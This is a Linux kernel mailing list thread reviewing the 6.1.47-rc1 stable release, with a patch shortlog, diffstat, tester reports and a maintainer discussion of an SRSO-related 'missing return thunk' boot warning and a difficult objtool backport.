ASoC: Intel:sof_sdw: Add support for Rex soundwireBard Liao <[email protected]>
ASoC: Intel:sof_sdw_rt_sdca_jack_common: testSOF_JACK_JDSRCin_exitOleksij Rempel <[email protected]>
ARM: dts: imx6dl: prtrvt, prtvt7, prti6q, prtwd2: fix USB related warningsVenkata Prasad Potturu <[email protected]>
ASoC: amd: vangogh: Add check for acp config flags in vangogh platformWolfram Sang <[email protected]>
drm: rcar-du: remove R-Car H3 ES1.* workaroundsRaphael Gallais-Pou <[email protected]>
drm/stm: ltdc: fix late dereference checkVenkata Prasad Potturu <[email protected]>
ASoC: SOF: amd: Add pci revision id checkSumit Gupta <[email protected]>
PCI: tegra194: Fix possible array out of bounds accessPeter Ujfalusi <[email protected]>
ASoC: Intel:sof_sdw: add quirk for LNL RVPBard Liao <[email protected]>
ASoC: Intel:sof_sdw: add quirk for MTL RVPJack Xiao <[email protected]>
drm/amdgpu: fix memory leak in mes self testhackyzh002 <[email protected]>
drm/amdgpu: Fix integer overflow inamdgpu_cs_pass1Longlong Yao <[email protected]>
drm/amdgpu: fix calltrace warning inamddrm_buddy_finiLi Yang <[email protected]>
net: phy: at803x: fix the wol setting functionsChristophe JAILLET <[email protected]>
net: phy: at803x: Usedevm_regulator_get_enable_optional()Gerd Bayer <[email protected]>
net/smc: Fix setsockopt and sysctl to specify same buffer size againD. Wythe <[email protected]>
net/smc: replace mutexrmbs_lockandsndbufs_lockwithrw_semaphoreIdo Schimmel <[email protected]>
selftests: forwarding:tc_actions: Use ncat instead of ncDavide Caratti <[email protected]>
selftests: forwarding:tc_actions: cleanup temporary files when test is abortedAndrew Yang <[email protected]>
zsmalloc: fix races between modifications of fullness and isolatedNhat Pham <[email protected]>
zsmalloc: consolidate zs_pool'smigrate_lockand size_class's locksMaulik Shah <[email protected]>
cpuidle: psci: Move enabling OSI mode after power domains creationUlf Hansson <[email protected]>
cpuidle: psci: Extend information in log about OSI/PC modeKunihiko Hayashi <[email protected]>
mmc: sdhci-f-sdh30: Replace withsdhci_pltfm-------------
Diffstat:
Documentation/admin-guide/hw-vuln/srso.rst | 4 +- Documentation/admin-guide/kernel-parameters.txt | 1 + Makefile | 4 +- arch/arm/boot/dts/imx50-kobo-aura.dts | 2 +- arch/arm/boot/dts/imx53-cx9020.dts | 10 +- arch/arm/boot/dts/imx53-m53evk.dts | 4 +- arch/arm/boot/dts/imx53-m53menlo.dts | 6 +- arch/arm/boot/dts/imx53-tx53.dtsi | 2 +- arch/arm/boot/dts/imx53-usbarmory.dts | 2 +- arch/arm/boot/dts/imx6dl-b1x5pv2.dtsi | 6 +- arch/arm/boot/dts/imx6dl-prtrvt.dts | 4 + arch/arm/boot/dts/imx6dl-riotboard.dts | 4 +- arch/arm/boot/dts/imx6dl-yapp4-common.dtsi | 6 +- arch/arm/boot/dts/imx6q-gw5400-a.dts | 6 +- arch/arm/boot/dts/imx6q-h100.dts | 6 +- arch/arm/boot/dts/imx6q-kp.dtsi | 4 +- arch/arm/boot/dts/imx6q-marsboard.dts | 4 +- arch/arm/boot/dts/imx6q-tbs2910.dts | 2 +- arch/arm/boot/dts/imx6qdl-emcon.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-gw51xx.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-gw52xx.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw53xx.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw54xx.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw551x.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-gw552x.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw553x.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-gw560x.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw5903.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-gw5904.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw5907.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-gw5910.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw5912.dtsi | 6 +- arch/arm/boot/dts/imx6qdl-gw5913.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-nit6xlite.dtsi | 10 +- arch/arm/boot/dts/imx6qdl-nitrogen6_max.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi | 8 +- arch/arm/boot/dts/imx6qdl-phytec-pfla02.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-prti6q.dtsi | 11 +- arch/arm/boot/dts/imx6qdl-rex.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-sabreauto.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-sabresd.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-ts7970.dtsi | 4 +- arch/arm/boot/dts/imx6qdl-tx6.dtsi | 2 +- arch/arm/boot/dts/imx6sl-evk.dts | 2 +- arch/arm/boot/dts/imx6sll-evk.dts | 2 +- arch/arm/boot/dts/imx6sll.dtsi | 2 +- arch/arm/boot/dts/imx6sx-sabreauto.dts | 2 +- arch/arm/boot/dts/imx6sx-udoo-neo.dtsi | 4 +- arch/arm/boot/dts/imx6sx.dtsi | 6 + arch/arm/boot/dts/imx6ul-phytec-phycore-som.dtsi | 2 +- arch/arm/boot/dts/imx6ul-tx6ul.dtsi | 2 +- arch/arm64/boot/dts/freescale/imx8mm.dtsi | 7 +- arch/arm64/boot/dts/freescale/imx93.dtsi | 2 +- arch/arm64/boot/dts/qcom/qrb5165-rb5.dts | 2 +- .../boot/dts/rockchip/rk3399-rock-4c-plus.dts | 3 +- arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi | 6 +- arch/arm64/include/asm/fpsimd.h | 4 +- arch/arm64/include/asm/kvm_host.h | 2 + arch/arm64/kernel/fpsimd.c | 6 +- arch/arm64/kernel/ptrace.c | 9 +- arch/arm64/kernel/signal.c | 2 +- arch/arm64/kvm/arm.c | 6 +- arch/arm64/kvm/vgic/vgic-v3.c | 2 +- arch/arm64/kvm/vgic/vgic-v4.c | 7 +- arch/powerpc/kernel/rtas_flash.c | 6 +- arch/powerpc/mm/kasan/Makefile | 1 + arch/riscv/Kconfig | 28 +-- arch/riscv/kernel/compat_vdso/Makefile | 8 +- arch/riscv/lib/uaccess.S | 11 +- arch/x86/include/asm/entry-common.h | 1 + arch/x86/include/asm/nospec-branch.h | 28 +-- arch/x86/kernel/cpu/amd.c | 1 + arch/x86/kernel/cpu/bugs.c | 28 ++- arch/x86/kernel/static_call.c | 13 ++ arch/x86/kernel/traps.c | 2 - arch/x86/kernel/vmlinux.lds.S | 20 +- arch/x86/kvm/svm/svm.c | 2 + arch/x86/lib/retpoline.S | 141 +++++++++----- block/blk-crypto-fallback.c | 36 ++-- drivers/bluetooth/btusb.c | 3 + drivers/bus/ti-sysc.c | 2 + drivers/cpuidle/cpuidle-psci-domain.c | 42 ++-- drivers/firewire/net.c | 6 +- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 8 +- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 41 +++- drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c | 9 +- drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c | 1 - drivers/gpu/drm/amd/amdgpu/amdgpu_psp.c | 4 +- drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 2 + drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 6 +- drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 211 +++++++++++++++++---- .../gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_hdcp.h | 14 ++ .../amd/display/amdgpu_dm/amdgpu_dm_mst_types.c | 30 +++ drivers/gpu/drm/amd/display/dc/dcn20/dcn20_dccg.h | 3 +- drivers/gpu/drm/amd/display/dc/dcn31/dcn31_dccg.c | 8 + .../gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c | 5 + .../drm/amd/display/dc/dcn314/dcn314_resource.c | 20 ++ drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.c | 22 +++ drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.h | 3 +- drivers/gpu/drm/amd/display/dc/dcn32/dcn32_hwseq.c | 2 +- .../gpu/drm/amd/display/dc/dcn32/dcn32_resource.h | 3 +- .../amd/display/dc/dml/dcn32/display_mode_vba_32.c | 4 +- .../amd/display/dc/dml/dcn32/display_mode_vba_32.h | 2 +- drivers/gpu/drm/amd/display/dc/inc/hw/dccg.h | 1 + drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 4 +- .../drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c | 14 +- drivers/gpu/drm/i915/display/intel_sdvo.c | 2 +- drivers/gpu/drm/nouveau/nouveau_connector.c | 8 +- drivers/gpu/drm/panel/panel-simple.c | 24 +-- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 +- drivers/gpu/drm/qxl/qxl_gem.c | 25 ++- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 +- drivers/gpu/drm/rcar-du/rcar_du_crtc.c | 37 +--- drivers/gpu/drm/rcar-du/rcar_du_drv.c | 48 ----- drivers/gpu/drm/rcar-du/rcar_du_drv.h | 2 - drivers/gpu/drm/rcar-du/rcar_du_regs.h | 3 +- drivers/gpu/drm/stm/ltdc.c | 4 +- drivers/hid/hid-logitech-hidpp.c | 4 + drivers/hid/intel-ish-hid/ipc/hw-ish.h | 1 + drivers/hid/intel-ish-hid/ipc/pci-ish.c | 1 + drivers/i2c/busses/i2c-bcm-iproc.c | 11 +- drivers/i2c/busses/i2c-designware-master.c | 16 +- drivers/i2c/busses/i2c-hisi.c | 8 + drivers/i2c/busses/i2c-tegra.c | 2 +- drivers/infiniband/hw/mlx5/qpc.c | 10 +- drivers/iommu/amd/amd_iommu_types.h | 4 + drivers/iommu/amd/init.c | 36 ++++ drivers/leds/rgb/leds-qcom-lpg.c | 8 +- drivers/media/platform/mediatek/vpu/mtk_vpu.c | 6 +- drivers/media/platform/qcom/camss/camss-vfe.c | 6 +- drivers/misc/habanalabs/common/device.c | 15 +- drivers/misc/habanalabs/common/habanalabs.h | 2 + drivers/misc/habanalabs/common/habanalabs_drv.c | 2 - drivers/mmc/core/block.c | 7 +- drivers/mmc/host/sdhci_f_sdh30.c | 66 +++---- drivers/mmc/host/wbsd.c | 2 - drivers/net/dsa/mv88e6xxx/chip.c | 8 + drivers/net/ethernet/cadence/macb_main.c | 9 +- drivers/net/ethernet/intel/i40e/i40e_nvm.c | 16 +- drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 10 + drivers/net/ethernet/intel/iavf/iavf_fdir.c | 77 +++++++- drivers/net/ethernet/intel/iavf/iavf_fdir.h | 2 + drivers/net/ethernet/intel/ice/ice_eswitch.c | 6 + drivers/net/ethernet/intel/ice/ice_main.c | 5 + drivers/net/ethernet/intel/igc/igc_base.h | 11 +- drivers/net/ethernet/intel/igc/igc_main.c | 7 +- .../net/ethernet/marvell/octeon_ep/octep_main.c | 2 +- drivers/net/ethernet/qlogic/qede/qede_main.c | 10 + drivers/net/ethernet/sfc/tc.c | 2 +- drivers/net/pcs/pcs-rzn1-miic.c | 10 +- drivers/net/phy/at803x.c | 89 ++++----- drivers/net/phy/broadcom.c | 13 ++ drivers/net/phy/phy_device.c | 13 +- drivers/net/team/team.c | 4 +- drivers/net/virtio_net.c | 26 ++- drivers/pci/controller/dwc/pcie-tegra194.c | 13 +- drivers/pcmcia/rsrc_nonstatic.c | 2 + drivers/soc/aspeed/aspeed-socinfo.c | 1 + drivers/soc/aspeed/aspeed-uart-routing.c | 2 +- drivers/thunderbolt/nhi.c | 2 + drivers/thunderbolt/nhi.h | 4 + drivers/thunderbolt/quirks.c | 8 + drivers/thunderbolt/retimer.c | 29 ++- drivers/tty/n_gsm.c | 3 +- drivers/tty/serial/8250/8250_port.c | 1 + drivers/tty/serial/fsl_lpuart.c | 4 +- drivers/tty/serial/stm32-usart.c | 5 +- drivers/usb/chipidea/ci_hdrc_imx.c | 5 + drivers/usb/chipidea/usbmisc_imx.c | 2 +- drivers/usb/gadget/function/u_serial.c | 3 + drivers/usb/gadget/function/uvc_video.c | 32 +++- drivers/vdpa/mlx5/core/mlx5_vdpa.h | 2 + drivers/vdpa/mlx5/core/mr.c | 105 +++++++--- drivers/vdpa/mlx5/net/mlx5_vnet.c | 4 +- drivers/vdpa/vdpa.c | 9 +- drivers/vdpa/vdpa_user/vduse_dev.c | 8 +- drivers/video/aperture.c | 7 +- drivers/video/fbdev/hyperv_fb.c | 17 +- drivers/video/fbdev/mmp/hw/mmp_ctrl.c | 4 +- drivers/virtio/virtio_mmio.c | 5 +- drivers/watchdog/sp5100_tco.c | 4 +- fs/btrfs/block-group.c | 14 +- fs/btrfs/block-group.h | 18 +- fs/btrfs/extent_map.c | 6 +- fs/btrfs/free-space-tree.c | 10 +- fs/btrfs/tests/free-space-tree-tests.c | 2 +- fs/btrfs/volumes.c | 3 +- fs/btrfs/zoned.c | 7 +- fs/ceph/mds_client.c | 4 + fs/gfs2/super.c | 26 +-- fs/ntfs3/frecord.c | 16 +- fs/ntfs3/fsntfs.c | 2 +- fs/ntfs3/index.c | 6 + fs/ntfs3/ntfs_fs.h | 2 + fs/ntfs3/record.c | 10 +- fs/smb/client/cifsfs.c | 28 +-- fs/smb/client/file.c | 25 ++- fs/smb/client/smb2pdu.c | 6 + include/kvm/arm_vgic.h | 2 +- include/linux/iopoll.h | 2 + include/linux/virtio_net.h | 4 + include/media/v4l2-mem2mem.h | 18 +- include/net/sock.h | 6 + kernel/dma/remap.c | 4 +- kernel/sched/fair.c | 193 +++++++++---------- kernel/sched/sched.h | 19 -- kernel/trace/ring_buffer.c | 14 +- kernel/trace/trace.c | 3 +- mm/hugetlb.c | 75 +++++--- mm/zsmalloc.c | 113 +++++------ net/bluetooth/l2cap_core.c | 5 + net/bluetooth/mgmt.c | 2 +- net/core/sock.c | 2 +- net/ipv4/ip_vti.c | 4 +- net/ipv4/tcp_timer.c | 4 +- net/ipv6/ip6_vti.c | 4 +- net/key/af_key.c | 4 +- net/netfilter/ipvs/ip_vs_ctl.c | 4 + net/netfilter/nf_conntrack_proto_sctp.c | 6 +- net/netfilter/nf_tables_api.c | 1 + net/netfilter/nft_dynset.c | 3 + net/netfilter/nft_set_pipapo.c | 13 +- net/openvswitch/datapath.c | 8 +- net/smc/af_smc.c | 4 +- net/smc/smc.h | 2 +- net/smc/smc_clc.c | 4 +- net/smc/smc_core.c | 80 ++++---- net/smc/smc_core.h | 4 +- net/smc/smc_llc.c | 16 +- net/smc/smc_sysctl.c | 10 +- net/unix/af_unix.c | 9 +- net/xfrm/xfrm_compat.c | 2 +- net/xfrm/xfrm_interface_core.c | 4 +- net/xfrm/xfrm_user.c | 14 +- sound/hda/hdac_regmap.c | 7 +- sound/pci/hda/patch_realtek.c | 91 ++++++++- sound/soc/amd/Kconfig | 1 + sound/soc/amd/vangogh/acp5x.h | 2 + sound/soc/amd/vangogh/pci-acp5x.c | 7 +- sound/soc/codecs/rt5665.c | 2 + sound/soc/intel/boards/sof_sdw.c | 25 +++ sound/soc/intel/boards/sof_sdw_rt711_sdca.c | 3 + sound/soc/meson/axg-tdm-formatter.c | 42 ++-- sound/soc/sof/amd/acp.h | 3 + sound/soc/sof/amd/pci-rmb.c | 3 + sound/soc/sof/amd/pci-rn.c | 3 + sound/soc/sof/core.c | 4 +- sound/soc/sof/intel/hda.c | 12 +- sound/usb/quirks-table.h | 29 +++ tools/objtool/arch/x86/decode.c | 2 +- tools/objtool/check.c | 21 +- .../selftests/net/forwarding/mirror_gre_changes.sh | 3 +- .../testing/selftests/net/forwarding/tc_actions.sh | 18 +- 255 files changed, 2074 insertions(+), 1100 deletions(-)
Quoted 15 lines · Joel Fernandes
Quoted 14 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.
Quoted 6 lines
Quoted 3 lines
thanks,
greg k-h
For RCU,
I am getting the following warning which started after my last successful 6.1.47-rc1 run. Looks like others already reported it, but I am just archiving my finding here:
Thanks.
[ 2.169887] ------------[ cut here ]------------ [ 2.170593] missing return thunk: __alt_instructions_end+0x2256/0x227c-srso_untrain_ret+0x0/0x2: e9 c7 a0 ed fe [ 2.171678] WARNING: CPU: 0 PID: 0 at arch/x86/kernel/alternative.c:572 apply_returns+0x1fb/0x230 [ 2.173592] Modules linked in: [ 2.174625] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 6.1.47-rc1-g9beeea9636e6 #299 [ 2.175608] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 2.176593] RIP: 0010:apply_returns+0x1fb/0x230 [ 2.177592] Code: a5 01 00 0f 85 ef fe ff ff 49 89 d8 b9 05 00 00 00 4c 89 f2 48 89 de 48 c7 c7 60 3e 9d ad c6 05 fa 2c a5 01 01 e8 45 2d 04 00 <0f> 0b e9 c7 fe ff ff c7 84 24 89 00 00 00 cc cc cc cc 42 c7 84 04 [ 2.179589] RSP: 0000:ffffffffadc03e28 EFLAGS: 00010286 [ 2.180592] RAX: 0000000000000000 RBX: ffffffffae5292f2 RCX: 0000000000000000 [ 2.181591] RDX: 0000000000000003 RSI: 0000000000000001 RDI: 00000000ffffffff [ 2.182595] RBP: 0000000000000000 R08: 00000000ffffdfff R09: 00000000ffffdfff [ 2.184589] R10: ffffffffadc574a0 R11: ffffffffadc574a0 R12: ffffffffadc03e40 [ 2.185591] R13: ffffffffae520414 R14: ffffffffad4033be R15: ffffffffae5203f0 [ 2.186650] FS: 0000000000000000(0000) GS:ffff953a5ca00000(0000) knlGS:0000000000000000 [ 2.187637] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2.188592] CR2: ffff953a5fa01000 CR3: 000000001ee0c000 CR4: 00000000000006f0 [ 2.189639] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2.191589] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 2.192593] Call Trace: [ 2.194683] <TASK> [ 2.195595] ? __warn+0x78/0xc0 [ 2.197592] ? apply_returns+0x1fb/0x230 [ 2.198593] ? report_bug+0xe6/0x170 [ 2.199592] ? console_unlock+0x1a3/0x210 [ 2.200594] ? handle_bug+0x3c/0x70 [ 2.201594] ? exc_invalid_op+0x13/0x60 [ 2.202594] ? asm_exc_invalid_op+0x16/0x20 [ 2.203595] ? retbleed_return_thunk+0x7e/0x7e [ 2.205593] ? apply_returns+0x1fb/0x230 [ 2.206594] ? apply_returns+0x1fb/0x230 [ 2.207596] alternative_instructions+0x43/0xf2 [ 2.208672] arch_cpu_finalize_init+0x28/0x47 [ 2.210595] start_kernel+0x5f9/0x6a5 [ 2.211597] secondary_startup_64_no_verify+0xe0/0xeb [ 2.213649] </TASK>>
Hi Greg
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 9 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
6.1.47-rc1 tested.
Build successfully completed.
Boot successfully completed.
No dmesg regressions.
Video output normal.
Sound output normal.
Lenovo ThinkPad X1 Carbon Gen10(Intel i7-1260P(x86_64) arch linux)
Thanks
Quoted 5 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Successfully compiled and installed bindeb-pkgs on my computer (Acer Aspire E15, Intel Core i3 Haswell). No noticeable regressions.
Signature · 1 line
An old man doll... just what I always wanted! - Clara
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Results from Linaro’s test farm.
No regressions on arm64, arm, x86_64, and i386.
NOTE:
Kernel warnings noticed on x86_64 while booting the kernel. Paul E. McKenney reported this last week [1] and discussions email thread provided here.
[1] https://lore.kernel.org/lkml/4dc3d0ec-b827-4bce-8927-cfa5d837fd03@paulmck-laptop/T/
------------[ cut here ]------------ [ 1.395392] missing return thunk: __ret+0x5/0x7e-__ret+0x0/0x7e: e9 f6 ff ff ff [ 1.395399] WARNING: CPU: 0 PID: 0 at arch/x86/kernel/alternative.c:574 apply_returns+0x1c0/0x3d0 [ 1.397391] Modules linked in: [ 1.398392] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 6.1.47-rc1 #1 [ 1.399391] Hardware name: Supermicro SYS-5019S-ML/X11SSH-F, BIOS 2.5 11/26/2020 [ 1.400392] RIP: 0010:apply_returns+0x1c0/0x3d0
## Build
* kernel: 6.1.47-rc1
* git: https://gitlab.com/Linaro/lkft/mirrors/stable/linux-stable-rc
* git branch: linux-6.1.y
* git commit: 5165f4e9738c48a220a13b073c6ccc24824aeb74
* git describe: v6.1.46-195-g5165f4e9738c
* test details:
https://qa-reports.linaro.org/lkft/linux-stable-rc-linux-6.1.y/build/v6.1.46-195-g5165f4e9738c
## Test Regressions (compared to v6.1.46)
## Metric Regressions (compared to v6.1.46)
## Test Fixes (compared to v6.1.46)
## Metric Fixes (compared to v6.1.46)
## Test result summary
total: 150677, pass: 127511, fail: 4079, skip: 18915, xfail: 172
## Build Summary
* arc: 5 total, 5 passed, 0 failed
* arm: 147 total, 145 passed, 2 failed
* arm64: 49 total, 46 passed, 3 failed
* i386: 39 total, 37 passed, 2 failed
* mips: 30 total, 28 passed, 2 failed
* parisc: 3 total, 3 passed, 0 failed
* powerpc: 36 total, 34 passed, 2 failed
* riscv: 16 total, 13 passed, 3 failed
* s390: 16 total, 14 passed, 2 failed
* sh: 14 total, 12 passed, 2 failed
* sparc: 8 total, 8 passed, 0 failed
* x86_64: 46 total, 44 passed, 2 failed
## Test suites summary
* boot
* kselftest-android
* kselftest-arm64
* kselftest-breakpoints
* kselftest-capabilities
* kselftest-cgroup
* kselftest-clone3
* kselftest-core
* kselftest-cpu-hotplug
* kselftest-cpufreq
* kselftest-drivers-dma-buf
* kselftest-efivarfs
* kselftest-exec
* kselftest-filesystems
* kselftest-filesystems-binderfs
* kselftest-filesystems-epoll
* kselftest-firmware
* kselftest-fpu
* kselftest-ftrace
* kselftest-futex
* kselftest-gpio
* kselftest-intel_pstate
* kselftest-ipc
* kselftest-ir
* kselftest-kcmp
* kselftest-kexec
* kselftest-kvm
* kselftest-lib
* kselftest-membarrier
* kselftest-memfd
* kselftest-memory-hotplug
* kselftest-mincore
* kselftest-mount
* kselftest-mqueue
* kselftest-net
* kselftest-net-forwarding
* kselftest-net-mptcp
* kselftest-netfilter
* kselftest-nsfs
* kselftest-openat2
* kselftest-pid_namespace
* kselftest-pidfd
* kselftest-proc
* kselftest-pstore
* kselftest-ptrace
* kselftest-rseq
* kselftest-rtc
* kselftest-seccomp
* kselftest-sigaltstack
* kselftest-size
* kselftest-splice
* kselftest-static_keys
* kselftest-sync
* kselftest-sysctl
* kselftest-tc-testing
* kselftest-timens
* kselftest-tmpfs
* kselftest-tpm2
* kselftest-user_events
* kselftest-vDSO
* kselftest-watchdog
* kselftest-x86
* kunit
* kvm-unit-tests
* libgpiod
* log-parser-boot
* log-parser-test
* ltp-cap_bounds
* ltp-commands
* ltp-containers
* ltp-controllers
* ltp-cpuhotplug
* ltp-crypto
* ltp-cve
* ltp-dio
* ltp-fcntl-locktests
* ltp-filecaps
* ltp-fs
* ltp-fs_bind
* ltp-fs_perms_simple
* ltp-fsx
* ltp-hugetlb
* ltp-io
* ltp-ipc
* ltp-math
* ltp-mm
* ltp-nptl
* ltp-pty
* ltp-sched
* ltp-securebits
* ltp-smoke
* ltp-syscalls
* ltp-tracing
* network-basic-tests
* perf
* rcutorture
* v4l2-compliance
--
Linaro LKFT
https://lkft.linaro.org
Hi,
[Adding Peter Zijlstra to CC]
Quoted 27 lines · Naresh Kamboju
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Results from Linaro’s test farm.
No regressions on arm64, arm,x86_64, and i386.
Quoted 6 lines
NOTE:
Kernel warnings noticed onx86_64while booting the kernel. Paul E. McKenney reported this last week [1] and discussions email thread provided here.[1] https://lore.kernel.org/lkml/4dc3d0ec-b827-4bce-8927-cfa5d837fd03@paulmck-laptop/T/
Seeing the same warning for the 6.1.47-rc1, which is missing 4ae68b26c3ab ("objtool/x86: Fix SRSO mess"). Unfortunately the commit will not apply cleanly to 6.1.y.
I guess we need at least as well dbcdbdfdf137 ("objtool: Rework instruction -> symbol mapping"), but not sure this is enough.
Peter, is this correct?
Regards,
Salvatore
Greg Kroah-Hartman
maintainerQuoted 37 lines · Salvatore Bonaccorso
Hi,
[Adding Peter Zijlstra to CC]
Quoted 32 lines · Naresh Kamboju
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Results from Linaro’s test farm.
No regressions on arm64, arm,x86_64, and i386.NOTE:
Kernel warnings noticed onx86_64while booting the kernel. Paul E. McKenney reported this last week [1] and discussions email thread provided here.
Quoted 5 lines
Quoted 1 line
[1] https://lore.kernel.org/lkml/4dc3d0ec-b827-4bce-8927-cfa5d837fd03@paulmck-laptop/T/
Seeing the same warning for the 6.1.47-rc1, which is missing
4ae68b26c3ab("objtool/x86: Fix SRSO mess"). Unfortunately the commit will not apply cleanly to 6.1.y.
I tried, and failed, let me try again...
Quoted 2 lines
I guess we need at least as well
dbcdbdfdf137("objtool: Rework instruction -> symbol mapping"), but not sure this is enough.
That gets messy fast, I tried to backport all of the 6.4 objtool changes to 6.1, but ugh, the changes were highly intertwined with many other things.
greg k-h
Greg Kroah-Hartman
maintainerQuoted 44 lines · Greg Kroah-Hartman
Quoted 37 lines · Salvatore Bonaccorso
Hi,
[Adding Peter Zijlstra to CC]
Quoted 32 lines · Naresh Kamboju
Quoted 10 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
Results from Linaro’s test farm.
No regressions on arm64, arm,x86_64, and i386.NOTE:
Kernel warnings noticed onx86_64while booting the kernel. Paul E. McKenney reported this last week [1] and discussions email thread provided here.Quoted 5 lines
Quoted 1 line
[1] https://lore.kernel.org/lkml/4dc3d0ec-b827-4bce-8927-cfa5d837fd03@paulmck-laptop/T/
Seeing the same warning for the 6.1.47-rc1, which is missing
4ae68b26c3ab("objtool/x86: Fix SRSO mess"). Unfortunately the commit will not apply cleanly to 6.1.y.
Quoted 8 lines
I tried, and failed, let me try again...
Quoted 2 lines
I guess we need at least as well
dbcdbdfdf137("objtool: Rework instruction -> symbol mapping"), but not sure this is enough.That gets messy fast, I tried to backport all of the 6.4 objtool changes to 6.1, but ugh, the changes were highly intertwined with many other things.
Hm, I applied that, but now I get build errors:
vmlinux.o: warning: objtool: retbleed_return_thunk(): can't find starting instruction
and
incomplete ORC unwind tables in file: vmlinux
Failed to sort kernel tables
Attached below is my backport, what did I get wrong?
thanks,
greg k-h
